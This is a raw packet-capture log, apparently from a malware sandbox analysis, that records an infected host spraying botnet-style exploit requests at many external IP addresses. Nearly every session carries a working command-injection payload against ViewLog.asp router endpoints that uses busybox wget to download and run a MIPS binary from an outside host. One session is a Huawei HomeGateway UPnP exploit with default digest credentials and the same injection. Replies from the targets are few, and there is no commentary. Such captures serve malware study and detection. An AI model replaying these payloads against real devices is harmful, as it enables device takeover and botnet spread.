Nov 23, 2023 05:15:50.298234940 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	48714	31.200.43.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.310061932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	42992	94.120.26.234	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.312849998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	58664	94.121.110.142	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.315035105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	52850	94.122.229.232	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.330723047 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	40570	94.121.116.45	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.533696890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	42730	94.120.208.119	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.538551092 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	58392	95.86.123.126	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.563504934 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	43870	31.136.25.188	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.944538116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.526580095 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:52.678589106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:55.174751043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.782780886 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:08.998606920 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:27.686494112 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.550467014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	58928	94.198.129.171	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.962941885 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.168313026 CET	369	IN	HTTP/1.0 401 Unauthorized Server: httpd Date: Thu, 23 Nov 2023 04:15:51 GMT WWW-Authenticate: Basic realm="MI-3" Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 34 3e 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>Authorization required.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	55670	85.53.193.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.963473082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.169353962 CET	475	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:15:57 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	40112	95.164.22.86	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.975636959 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	40442	31.128.217.220	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:50.991961002 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.227312088 CET	475	IN	HTTP/1.1 200 OK Content-Security-Policy: default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-ancestors 'self' X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:15:51 GMT Etag: "5c936401.2096" Content-Type: text/html Content-Length: 2096 Connection: close Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	58942	94.198.129.171	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:51.373369932 CET	322	IN	HTTP/1.0 400 Bad Request Server: httpd Date: Thu, 23 Nov 2023 04:15:51 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	40458	31.128.217.220	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:51.453224897 CET	171	IN	HTTP/1.1 500 Server Error Content-Length: 48 Date: Thu, 23 Nov 2023 04:15:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	60386	41.42.88.8	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:52.592377901 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:52.893522024 CET	236	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

